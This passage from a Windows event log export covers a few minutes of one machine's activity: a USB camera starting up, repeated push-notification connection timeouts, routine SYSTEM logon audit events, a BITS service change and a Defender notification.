08:31:38.253\t230\tPowerIrp_PassiveWakeupCompleted\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:31:38.255\t12\tFrameServer WatchdogTimer Stop Event, TimerScope: FSSource, TimerScopeId: 0, WatchdogOperation: Initialize, DurationToCompletionInHns: 645183.\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:31:38.255\t50\tCamera DeviceMFT InitializeTransform, SymbolicLink: \\\\?\\USB#VID_5858&PID_1004&MI_00#6&55f168&0&0000#{e5323777-f976-4f5b-9b55-b94699c46e44}\\global\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_DeviceMFT\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:31:38.256\t11\t\"FrameServer WatchdogTimer Start Event, TimerScope: FSSource, TimerScopeId: 0, WatchdogOperation: Initialize, DurationToTriggerInHns: 299354649, \nSymbolicLink: \\\\?\\USB#VID_5858&PID_1004&MI_00#6&55f168&0&0000#{e5323777-f976-4f5b-9b55-b94699c46e44}\\global.\"\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:31:38.256\t12\tFrameServer WatchdogTimer Stop Event, TimerScope: FSSource, TimerScopeId: 0, WatchdogOperation: Initialize, DurationToCompletionInHns: 6201.\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:31:38.256\t11\t\"FrameServer WatchdogTimer Start Event, TimerScope: FSSource, TimerScopeId: 0, WatchdogOperation: Initialize, DurationToTriggerInHns: 299348375, \nSymbolicLink: \\\\?\\USB#VID_5858&PID_1004&MI_00#6&55f168&0&0000#{e5323777-f976-4f5b-9b55-b94699c46e44}\\global.\"\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:31:38.256\t12\tFrameServer WatchdogTimer Stop Event, TimerScope: FSSource, TimerScopeId: 0, WatchdogOperation: Initialize, DurationToCompletionInHns: 1817.\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:31:38.256\t51\tCamera DeviceMFT InitializeTransform, hr: 0x0\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_DeviceMFT\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:31:38.268\t22\tFrameServer_FSSourceMediaSource_SetWorkQueue Event, StreamObject: 0x18b6c1c5d60, WorkQueueId: 327681, Priority: 0, MediaStreamCount: 1.\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:31:38.268\t20\tFrameServer_FSSourceMediaStream_SetWorkQueue Event, StreamObject: 0x18b6c177950, WorkQueueId: 327681, Priority: 0.\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:31:38.272\t7\tFrameServer FsProxy Initialization Stop, SymbolicLink: \\\\?\\usb#vid_5858&pid_1004&mi_00#6&55f168&0&0000#{65e8773d-8f56-11d0-a3b9-00a0c9223196}\\global, Devices: 1, Streams: 1, StreamType: MASTER, hr: 0x0.\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:31:38.273\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:38.273\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:38.275\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:38.275\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:38.287\t2\tFrameServer FsProxy SetOutputType Start, PinId: 0, MediaType: FrameSize=5497558139600 (1280,720),MajorType={73646976-0000-0010-8000-00AA00389B71},FrameRate=128849018881 (30,1),PixelAspectRatio=4294967297 (1,1),InterlacedMode=2,Subtype={3231564E-0000-0010-8000-00AA00389B71}.\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:31:38.287\t3\tFrameServer FsProxy SetOutputType Stop, hr=0x0.\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:31:38.306\t200\tStart of PowerUpDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:31:38.306\t201\tStop of PowerUpDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:31:47.047\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:47.047\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:47.047\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:47.054\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:57.332\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:57.347\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:57.347\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:06.129\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:06.129\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:06.137\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:06.137\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:14.906\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:14.906\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:14.906\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:14.917\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:16.594\t1002\tError 0x80070005 occurred while verifying known folder {a520a1a4-1780-4ff6-bd18-167343c5af16} with path 'C:\\Users\\admin\\AppData\\Local\\Packages\\cr.sb.odm3E4D1A088C1F6D498C84F3C86DE73CE49F82A104\\AC'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:32:21.002\t1\tAccess to the a resource has been denied for a less privileged app container at \u200e2026\u200e-\u200e09\u200e-\u200e05T01:32:21.002306800Z (StackHash: 0xF4411927).\tError\tMicrosoft-Windows-Security-LessPrivilegedAppContainer/Operational\tMicrosoft-Windows-Security-LessPrivilegedAppContainer\n05.09.2026 08:32:21.002\t1\tAccess to the a resource has been denied for a less privileged app container at \u200e2026\u200e-\u200e09\u200e-\u200e05T01:32:21.002765700Z (StackHash: 0xF4411927).\tError\tMicrosoft-Windows-Security-LessPrivilegedAppContainer/Operational\tMicrosoft-Windows-Security-LessPrivilegedAppContainer\n05.09.2026 08:32:21.943\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"23528CA76A0\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:32:21.953\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:32:22.338\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"23528CA76A0\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:32:22.341\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:32:32.772\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:32.775\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:32.775\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:33.141\t7040\tThe start type of the \u0424\u043e\u043d\u043e\u0432\u0430\u044f \u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 (BITS) service was changed from \u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 to \u0412\u0440\u0443\u0447\u043d\u0443\u044e.\tInformation\tSystem\tService Control Manager\n05.09.2026 08:32:33.157\t114\tRemoved URL (http://*:2869/upnp/eventing/) from URL group (0xFA00000C20000001). Process Id 0x3DA0 Executable path \\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe, User S-1-5-19\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:32:38.751\t1010\t\"Device USB\\VID_22D9&PID_2769\\3B15AW01DRA00000 has been surprise removed as it is reported as missing on the bus.\nCount of devices removed: 1\"\tInformation\tMicrosoft-Windows-Kernel-PnP/Device Management\tMicrosoft-Windows-Kernel-PnP\n05.09.2026 08:32:39.357\t1001\tDevice will enter the suspend state if idle for 30 seconds.\tInformation\tMicrosoft-Windows-WPD-MTPClassDriver/Operational\tMicrosoft-Windows-WPD-MTPClassDriver\n05.09.2026 08:32:39.373\t1000\tMTP Driver started successfully.\tInformation\tMicrosoft-Windows-WPD-MTPClassDriver/Operational\tMicrosoft-Windows-WPD-MTPClassDriver\n05.09.2026 08:32:39.373\t1003\tDevice is resuming operation from idle state (Idle state: 4; Return code: 0x0).\tInformation\tMicrosoft-Windows-WPD-MTPClassDriver/Operational\tMicrosoft-Windows-WPD-MTPClassDriver\n05.09.2026 08:32:39.376\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:32:39.377\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:32:40.377\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"23528CA76A0\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:32:40.381\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"explorer\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:32:41.543\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:41.543\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:41.629\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:41.629\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:50.399\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:50.399\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:50.399\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:50.405\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:57.359\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"23528CA76A0\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:32:57.364\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:32:59.000\t1005\tThe Connection Provider status changed to Disconnected.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:59.000\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:59.000\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:59.007\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:59.013\t1113\tDevice Compact Ticket request completed with Device Id 00180018E4F8342E for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:59.025\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:59.026\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:59.026\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:32:59.026\t8001\t\"Skipping license manager: PFN Microsoft.WindowsFeedbackHub_2.2606.702.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:32:59.027\t8001\t\"Skipping license manager: PFN Microsoft.WindowsFeedbackHub_2.2606.702.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:33:03.739\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:33:03.739\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:33:03.910\t2416\tA local notification was received from Windows.Defender.SecurityCenter [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:03.912\t2418\tA local notification was submitted to threadpool: Windows.Defender.SecurityCenter [AppUserModelId] toast [NotificationType] 9397 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:03.913\t3052\tToast with notification tracking id 9397 is being delivered to Windows.Defender.SecurityCenter on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:03.913\t3153\tToast with notification tracking id 9397 is delivered to Windows.Defender.SecurityCenter on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:03.916\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:04.207\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:05.145\t24\t\"Stream started.\nApp Id: Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!App\nPID: 13180\nAudio Stream Category: 5\"\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 08:33:06.481\t25\t\"Stream stopped.\nApp Id: Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!App\nPID: 13180\nAudio Stream Category: 5\"\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 08:33:07.794\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:07.794\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:07.795\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:07.795\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:16.566\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:16.566\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:16.566\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:16.575\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:34.144\t171\tThe reader was created successfully for app package Microsoft.SecHealthUI_1000.29628.1000.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppxPackaging/Operational\tMicrosoft-Windows-AppxPackagingOM\n05.09.2026 08:33:46.765\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:46.766\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:46.767\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:55.532\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:55.532\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:55.533\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:55.533\t1211\tWNP Transport 